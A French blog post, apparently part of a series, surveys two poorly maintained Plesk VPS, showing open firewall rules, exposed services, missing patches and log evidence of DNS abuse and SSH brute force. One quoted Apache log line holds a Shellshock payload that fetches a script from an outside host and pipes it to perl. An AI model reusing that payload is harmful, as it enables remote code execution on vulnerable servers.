Il était une fois

(l’histoire suivante est entirement fictive, même pour les IP et nom de domaine ;)

Un ami à la tête d’un startup d’une personne a envie soudaine de faire évoluer son infrastructure de production – constituée de 2 VPS loués chez égale 2 hébergeur – en quelque chose de plus à l’image de son ambition. Il m’a demandé de l’aider, et voici donc 1ère partie de l’histore …

Je vais commencer donc par sonder l’état de ces 2 VPS Linux, sans prendre le temps de faire un vrai audit en bonne et due forme – vue qu’on va refaire l’infra.

Alors c’est grave docteur? (ou: Executive summary)

Aïe, ça fait mal, le patient a tous les signes d’une boulime, à commencer par un Plesk par tout, un firewall ouvert à tous, ou pire (ou mieux, c’est selon), pas de firewall du tout … on y ajoute des patchs de sécurité manquants, c’est un miracle que ça n’a pas explosé en plein jour !

firewall plesk

Mas voyons tous ça en détail :

Configurations

Regardons donc ce qu’il y a sous le capot de ces VPS :

[root@s17378183 ~]# uname -a
Linux s17378183.onlinehome-server.info 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

[root@s17378183 ~]# cat /proc/cmdline
ro root=/dev/xvda1 console=hvc0 console=hvc0 xencons=hvc

[root@s17378183 ~]# cat /proc/cmdline
ro root=/dev/xvda1 console=hvc0 console=hvc0 xencons=hvc

[root@s17378183 ~]# cat /proc/cpuinfo 
processor   : 0
vendor_id   : AuthenticAMD
model name  : AMD Opteron(TM) Processor 6272                 
cpu MHz     : 2100.044
cache size  : 2048 KB
...

On a donc affaire à un VPS avec 1 core de CPU – AMD Opteron 6272 – un processeur un peu “à la ramasse” par rapport à un Intel E5 … et un kernel 2.6.32 … ça commence à dater un peu !

[root@s17378183 ~]#  cat /proc/meminfo
MemTotal:        2046400 kB
MemFree:         1208828 kB
Buffers:          289128 kB
Cached:           270816 kB
SwapCached:            0 kB
Active:           588636 kB
Inactive:         152292 kB
....

On a donc 2 Gb de RAM et les utilise peu.

Et maintenant pour les disques :

[root@s17378183 ~]# lsblk
NAME                 MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvda                 202:0    0 93.1G  0 disk 
├─xvda1              202:1    0    4G  0 part /
├─xvda2              202:2    0    2G  0 part [SWAP]
└─xvda3              202:3    0 87.1G  0 part 
  ├─vg00-usr (dm-0)  253:0    0    4G  0 lvm  /usr
  ├─vg00-var (dm-1)  253:1    0    4G  0 lvm  /var
  └─vg00-home (dm-2) 253:2    0    4G  0 lvm  /home
[root@s17378183 ~]# lsblk --fs
NAME                 FSTYPE      LABEL UUID                                   MOUNTPOINT
xvda                                                                          
├─xvda1              ext3        root  c2a8984d-ff25-4692-8103-7b30ace0c98b   /
├─xvda2              swap              f5af60e6-d557-4f69-90dc-702d0040a795   [SWAP]
└─xvda3              LVM2_member       ugN9CK-sdfM-gB1i-ypu4-BV4g-xyF7-0Qazhl 
  ├─vg00-usr (dm-0)  ext4        usr   6c495a28-a3a7-4750-9500-262782f3f02c   /usr
  ├─vg00-var (dm-1)  ext4        var   e49979ef-eff7-4302-b0fc-587d659c554d   /var
  └─vg00-home (dm-2) ext4        home  21723c67-4c35-4ca2-beeb-df4d92a159c7   /home

On a donc 100Go alloué par l’hypervisor Xen, et moins de 20Go partitionné en LVM, ce qui est un poil trop complex à gérer vu le contexte.

Côté résaux, on a :

[root@s17378183 ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:16:3e:39:bb:5e brd ff:ff:ff:ff:ff:ff
    inet aaa.bbb.ccc.ddd/32 brd aaa.bbb.ccc.ddd scope global eth0
    inet6 2001:xxx:xxx:xxx::xxx:xxx/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::216:3eff:fe39:bb5e/64 scope link 
       valid_lft forever preferred_lft forever

[root@s17378183 ~]# ip r
10.255.255.1 dev eth0  scope link 
aaa.bbb.0.0/16 dev eth0  scope link  metric 1002 
default via 10.255.255.1 dev eth0 

On remarquera la bizzarerie qu’est la définition d’une IP FIXE chez égale 2 : tout en DHCP avec un masque de /32 et un default gateway très, hum, exotique, sans doute un “hack” (comprendre : bidouillage) pour faire marcher l’IP accounting avec un filtrage de layer 2 quelque part …

Regardons côté firewall maintenant :

[root@s17378183 ~]# cat /proc/sys/net/ipv4/ip_forward 
1

[root@s17120081 etc]# iptables -L -nv
Chain INPUT (policy DROP 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         
7146K 1244M ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0           state RELATED,ESTABLISHED 
  172 14661 REJECT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp flags:!0x17/0x02 state NEW reject-with tcp-reset 
 7037  356K DROP       all  --  *      *       0.0.0.0/0            0.0.0.0/0           state INVALID 
 4319  259K ACCEPT     all  --  lo     *       0.0.0.0/0            0.0.0.0/0           
    0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:12443 
    0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:11443 
    0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:11444 
    0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:8447 
13721  726K ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:8443 
   11   540 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:8880 
 6529  359K ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:80 
 1132 54104 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:443 
  148  6740 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:21 
 111K 6227K ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:22 
   14   676 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:587 
 3135  171K ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:25 
 1340 69632 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:465 
 8360  435K ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:110 
   66  3520 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:995 
  490 25340 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:143 
   35  1840 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:993 
    0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:106 
 163K 9672K ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:3306 
    4   160 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:5432 
    0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:9008 
    0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:9080 
  154 12012 ACCEPT     udp  --  *      *       0.0.0.0/0            0.0.0.0/0           udp dpt:137 
    0     0 ACCEPT     udp  --  *      *       0.0.0.0/0            0.0.0.0/0           udp dpt:138 
  241 11996 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:139 
  603 29424 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:445 
    2    99 ACCEPT     udp  --  *      *       0.0.0.0/0            0.0.0.0/0           udp dpt:1194 
  973 74902 ACCEPT     udp  --  *      *       0.0.0.0/0            0.0.0.0/0           udp dpt:53 
   96  4048 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:53 
 4179  879K ACCEPT     udp  --  *      *       0.0.0.0/0            0.0.0.0/0           
14776  676K ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           
  612 27195 ACCEPT     icmp --  *      *       0.0.0.0/0            0.0.0.0/0           icmp type 8 code 0 
    0     0 DROP       all  --  *      *       0.0.0.0/0            0.0.0.0/0           

Chain FORWARD (policy DROP 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0           state RELATED,ESTABLISHED 
    0     0 REJECT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp flags:!0x17/0x02 state NEW reject-with tcp-reset 
    0     0 DROP       all  --  *      *       0.0.0.0/0            0.0.0.0/0           state INVALID 
    0     0 ACCEPT     all  --  lo     lo      0.0.0.0/0            0.0.0.0/0           
    0     0 DROP       all  --  *      *       0.0.0.0/0            0.0.0.0/0           

Chain OUTPUT (policy DROP 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         
7347K 1713M ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0           state RELATED,ESTABLISHED 
   20  3062 REJECT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp flags:!0x17/0x02 state NEW reject-with tcp-reset 
35344 1840K DROP       all  --  *      *       0.0.0.0/0            0.0.0.0/0           state INVALID 
 4319  259K ACCEPT     all  --  *      lo      0.0.0.0/0            0.0.0.0/0           
 194K   15M ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0           

On remarquera le grand nombre de ports ouverts à tous (et l’absense de toutes règles sur l’autre VPS, sisi). Mention spéciale pour les ports netbios 137,138,139 alors qu’il n’y a pas de samba ou équivalent sur la machine – on peut suspecter une application de «template» de filtrage sans discernement : et c’est sans doute une des conséquences de plesk.

Autre étrangeté : sur le VPS mysql, ip_forward vaut 1 et sur celui du WEB, ça vaut 0 …

Les systèmes

Regardons maintenant les processus en cours d’exécution :

[root@s17378183 ~]# ps afx
  PID TTY      STAT   TIME COMMAND
    1 ?        Ss     0:08 /sbin/init
  596 ?        Ss     2:41 /usr/bin/sw-engine -c /usr/local/psa/admin/conf/php.ini /usr/local/psa/admin/bin/modules/watchdog/wdcollect -c /u
  597 ?        Ssl    4:15 /usr/local/psa/admin/bin/modules/watchdog/monit -Ic /usr/local/psa/etc/modules/watchdog/monitrc
  954 ?        S      0:00 /usr/sbin/courierlogger -name=imapd -pid=/var/run/imapd.pid -lockfile=/var/lock/subsys/courier-imapd -start -name
  958 ?        S      0:02  \_ /usr/lib64/couriertcpd -address=0 -maxprocs=40 -maxperip=4 -nodnslookup -noidentlookup 143 /usr/sbin/imaplogi
...
  981 ?        Ssl    0:42 /usr/lib64/plesk-9.0/psa-pc-remote -p inet:12768@127.0.0.1
 1042 ?        Ssl    0:02 /usr/sbin/named -u named -c /etc/named.conf -u named -n 2 -t /var/named/chroot
 1090 ?        Ss     5:37 /usr/libexec/postfix/master
 1095 ?        S      2:53  \_ qmgr -l -t fifo -u
 2611 ?        S      0:00  \_ tlsmgr -l -t unix -u
 5786 ?        S      0:00  \_ pickup -l -t fifo -u
 1120 ?        Ss     0:00 /sbin/dhclient -1 -q -cf /etc/dhcp/dhclient-eth0.conf -lf /var/lib/dhclient/dhclient-eth0.leases -pf /var/run/dhc
 1204 ?        Ss     1:05 /usr/sbin/httpd
13462 ?        S      0:03  \_ /usr/sbin/httpd
 1419 ?        Ss     0:00 xinetd -stayalive -pidfile /var/run/xinetd.pid
 1427 ?        Ss     0:02 ntpd -u ntp:ntp -p /var/run/ntpd.pid -g
 1466 ?        Ss     0:00 sw-engine-fpm: master process (/etc/sw-engine/sw-engine-fpm.conf)
 3642 ?        Ss     0:00 sw-cp-server: master process /usr/sbin/sw-cp-serverd -c /etc/sw-cp-server/config
 3644 ?        S      0:00  \_ sw-cp-server: worker process                       
23016 ?        SNs    0:43 /usr/bin/spamd --nouser-config --username=popuser --daemonize --helper-home-dir=/var/qmail --virtual-config-dir=/
23024 ?        SN     0:00  \_ spamd child
 3951 ?        SN     0:07  \_ spamd child

On a donc :

Bref, c’est boucoup (trop) pour un stack de LAMP !

Sans firewall, fatalement on va retrouver tout ce beau monde en écoute sur internet :

[root@s17120081 ~]# netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   
tcp        0      0 0.0.0.0:465                 0.0.0.0:*                   LISTEN      8142/master         
tcp        0      0 aaa.bbb.ccc.ddd:53          0.0.0.0:*                   LISTEN      6320/named          
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1227/sshd           
tcp        0      0 0.0.0.0:25                  0.0.0.0:*                   LISTEN      8142/master         
tcp        0      0 0.0.0.0:3306                0.0.0.0:*                   LISTEN      1545/mysqld         
tcp        0      0 :::110                      :::*                        LISTEN      6883/courier    tcpd    
tcp        0      0 :::143                      :::*                        LISTEN      6865/courier    tcpd    
tcp        0      0 :::8880                     :::*                        LISTEN      8378/sw-cp-serve    rd  
tcp        0      0 :::80                       :::*                        LISTEN      7433/httpd              
tcp        0      0 :::465                      :::*                        LISTEN      8142/master             
tcp        0      0 :::53                       :::*                        LISTEN      6320/named              
tcp        0      0 :::21                       :::*                        LISTEN      5176/xinetd             
tcp        0      0 :::22                       :::*                        LISTEN      1227/sshd           
tcp        0      0 :::25                       :::*                        LISTEN      8142/master         
tcp        0      0 :::8443                     :::*                        LISTEN      8378/sw-cp-serverd  
tcp        0      0 :::443                      :::*                        LISTEN      7433/httpd          
tcp        0      0 :::993                      :::*                        LISTEN      6875/couriertcpd    
tcp        0      0 :::995                      :::*                        LISTEN      6892/couriertcpd    
tcp        0      0 :::106                      :::*                        LISTEN      5176/xinetd         
udp        0      0 aaa.bbb.ccc.ddd:123         0.0.0.0:*                               1243/ntpd           
udp        0      0 0.0.0.0:123                 0.0.0.0:*                               1243/ntpd           
udp        0      0 0.0.0.0:783                 0.0.0.0:*                               893/portreserve     
udp        0      0 aaa.bbb.ccc.dd:53           0.0.0.0:*                               6320/named          
udp        0      0 0.0.0.0:68                  0.0.0.0:*                               791/dhclient        
udp        0      0 2001:xxx:xxx:xxxx::xx:xx:123 :::*                                    1243/ntpd           
udp        0      0 fe80::216:3eff:fe3f:34ba:123 :::*                                    1243/ntpd           
udp        0      0 ::1:123                     :::*                                    1243/ntpd           
udp        0      0 :::123                      :::*                                    1243/ntpd           
udp        0      0 :::53                       :::*                                    6320/named          

Et justement, côté logiciels, ça donne quoi ?

[root@s17120081 log]#  yum list installed
...
Installed Packages
MAKEDEV.x86_64                                       3.24-6.el6                                     @anaconda-CentOS-201106060106.x86_64/6.0
SSHTerm.noarch                                       0.2.2-10.11092910                              @PSA_11_0_9-dist                        
acl.x86_64                                           2.2.49-6.el6                                   @base                                   
aic94xx-firmware.noarch                              30-2.el6                                       @anaconda-CentOS-201106060106.x86_64/6.0
...
[root@s17120081 log]#  yum list installed | wc -l
417
[root@s17120081 log]# yum list updates | wc -l
192
[root@s17120081 log]# yum list updates
Updated Packages
....
bash.x86_64                                                         4.1.2-29.el6                                                     base   
gnutls.x86_64                                                       2.8.5-14.el6_5                                                   base   
libcurl.x86_64                                                      7.19.7-40.el6_6.1                                                updates
openssl.x86_64                                                      1.0.1e-30.el6_6.4                                                updates
wget.x86_64                                                         1.12-5.el6_6.1                                                   updates

On a donc 192 packages en retard de mise à jour sur un total de 417 installé, soit 46%. Parmi eux on trouve des composants utilisés régulièrement et qui sont devenus célébres récement à cause de leur vulnérabilités :

Les logs

Il y a quelque temps, quelqu’un s’est amusé à mesurer le temps de survie d’un Windows non patché accessible sur internet, il est de quelque minutes. Quand Heartbleed est devnu public, un gus a «volé» la clé privée d’un serveur en 7 heures.

Sur nos VPS, il n’y a pas énormement de logs, ce qu’on peut y trouver c’est :

Des traces visibles de participation à des DDoS par amplification de DNS

Nov  2 19:02:32 s17120081 named[6320]: client 162.212.181.242#65079: query (cache) 'wwww.jrdga.info/A/IN' denied
Nov  2 19:15:15 s17120081 named[6320]: client 162.212.181.242#1922: query (cache) 'wwww.jrdga.info/A/IN' denied
Nov  2 19:40:43 s17120081 named[6320]: client 162.212.181.242#49946: query (cache) 'wwww.jrdga.info/A/IN' denied
...

Des traces visibles d’être le cible d’attaque SSH par brut force, à l’hauteur d’environ 5 tentatives par minutes et ça continue actuellement. Une autruche dirait que c’est rasurrant – tant que l’attaque continue, on peut suposser que l’attaquant n’y est pas encore parvenu :p

[root@s17120081 log]# head -n 1 secure; tail -n 1 secure
Nov 23 03:18:17 s17120081 sshd[24052]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.41.124.40  user=root
Nov 24 16:10:38 s17120081 sshd[25909]: pam_unix(sshd:session): session opened for user root by (uid=0)
...
[root@s17120081 log]# grep "sshd.*Failed password for" secure | wc -l
12041

Plus inquiétant, queulqu’un (le propritaire, un ami à lui ou un whithat passant) a installé et lancé un chasseur de rootkit à 1 heure du matin :

[01:04:43] Info: End date is lun. nov.  3 01:04:42 CET 2014 ?????
-rw-------  1 root          root   80K Nov  3 01:04 rkhunter.log
-rw-------  1 root          root  5.1K Nov  3 01:00 rkhunter.log.old

Coup de chance, une attaque via PHP/CGI+ShellShock a échoué de peu :

[Thu Oct 30 15:40:33 2014] [error] [client 217.114.212.26] <b>Security Alert!</b> The PHP CGI cannot be accessed directly.
....
[Thu Oct 30 23:32:56 2014] [error] [client 109.123.97.234] script not found or unable to stat: /var/www/vhosts/default/cgi-binYaBB, referer:
 () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl

Paradoxalement, il n’y a aucun log concernant les mails alors les port SMTP/POP/IMAP sont grand ouverts. Un test rapide d’open relay confirme la négativité cependant.

Et pour finir, mysql est cassé et plesk est en train de remplir les logs avec des warnings vue que rsyslog n’est pas configuré pour supprimer les messages répétitifs.

Conclusions

Prescription

Il ne faut pas reprendre les machines en état. Le mieux à faire est de refaire un environnement propre et y migrer les données en faisant :

Mais avant de sortir le chéquier, on va d’abord réfléchir à une architecture spécialement adapté à notre situation de one-man shop.

Dans l’immédiate, il faut changer l’authentification de SSH pour arrêter l’attaque par brut-force.